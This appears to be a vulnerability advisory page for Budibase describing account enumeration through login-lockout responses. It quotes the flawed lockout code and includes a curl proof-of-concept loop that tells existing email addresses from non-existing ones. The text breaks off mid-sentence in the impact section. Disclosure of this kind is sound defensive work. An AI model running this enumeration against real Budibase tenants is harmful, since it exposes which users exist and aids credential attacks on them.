A AegiFlow
MEDIUMCVSS 5.3

GHSA-cr7p-cr3q-h5cm

Budibase: Account Enumeration via Login Lockout Response Differential

Published
2026-07-24
Modified
2026-07-24
Sources
github-advisory

Summary

## Summary The login lockout mechanism in Budibase creates an observable response discrepancy that allows unauthenticated attackers to enumerate valid email addresses. When an existing user's account is locked after 5 failed login attempts, the server returns a distinct `403` response with `X-Account-Locked: 1` and `Retry-After: 900` headers plus the message "Account temporarily locked." For non-existing users, the response is always a generic `403 "Unauthorized"` regardless of attempt count, because the lockout counter is never incremented. ## Details The vulnerability exists in two files that implement the login lockout feature: **`packages/worker/src/middleware/lockout.ts:18-36`** — The lockout middleware only blocks requests for users that exist in the database AND are locked: ```typescript export default async (ctx: Ctx, next: Next) => { const email = ctx.request.body.username if (!email) { return await next() } const dbUser = await userSdk.db.getUserByEmail(email) if (dbUser && (await isLocked(email))) { // line 26: non-existing users skip this entirely ctx.set("X-Account-Locked", "1") ctx.set("Retry-After", String(env.LOGIN_LOCKOUT_SECONDS)) ctx.throw(403, "Account temporarily locked. Try again later.") } return await next() } ``` **`packages/worker/src/api/controllers/global/auth.ts:127-141`** — The login handler only increments the failure counter for existing users: ```typescript if (err || !user) { if (dbUser) { // line 129: non-existing users never trigger onFailed() await onFailed(email) } if (await isLocked(email)) { return handleLockoutResponse(ctx, email) } // ... return passportCallback(ctx, user as any, err, info) } ``` **Execution flow for existing users (after 5 failed attempts):** 1. `lockout` middleware → `getUserByEmail` returns user → `isLocked` returns true → 403 + `X-Account-Locked: 1` + `Retry-After: 900` + "Account temporarily locked" **Execution flow for non-existing users (any number of attempts):** 1. `lockout` middleware → `getUserByEmail` returns null → `dbUser && isLocked` is false → passes through 2. Login handler → passport fails → `if (dbUser)` is false → `onFailed()` never called → lock never set 3. Always returns 403 "Unauthorized" No IP-based rate limiting exists on the login endpoint (`POST /api/global/auth/:tenantId/login`). The route is registered via `loggedInRoutes` which applies no authentication middleware. The password reset endpoint has proper IP-based rate limiting, but the login endpoint does not. ## PoC ```bash # Test against a known-existing email and a non-existing email # Replace 'default' with the target tenant ID # Step 1: Send 6 login attempts for an existing user echo "=== Testing existing user ===" for i in $(seq 1 6); do echo "--- Attempt $i ---" curl -s -D - -X POST http://localhost:10000/api/global/auth/default/login \ -H 'Content-Type: application/json' \ -d '{"username":"[email protected]","password":"wrongpassword"}' 2>&1 \ | grep -E 'HTTP/|X-Account-Locked|Retry-After|locked|Unauthorized' echo "" done # Expected: Attempts 1-5 return "Unauthorized" # Attempt 6 returns: "Account temporarily locked" + X-Account-Locked: 1 + Retry-After: 900 # Step 2: Send 6 login attempts for a non-existing user echo "=== Testing non-existing user ===" for i in $(seq 1 6); do echo "--- Attempt $i ---" curl -s -D - -X POST http://localhost:10000/api/global/auth/default/login \ -H 'Content-Type: application/json' \ -d '{"username":"[email protected]","password":"wrongpassword"}' 2>&1 \ | grep -E 'HTTP/|X-Account-Locked|Retry-After|locked|Unauthorized' echo "" done # Expected: All 6 attempts return "Unauthorized" — no lockout ever triggers # The difference in behavior after 5 attempts confirms whether the email exists. ``` ## Impact - **Account enumeration**: An unauthenticated attacker can determine whether any email address is registered on a Budibase tenant by s

Affected packages

EcosystemPackageAffected versionsFixed versions
npm@budibase/server

Remediation: No patched version is listed by GitHub.

References

Includes data from the GitHub Advisory Database, licensed under CC-BY 4.0.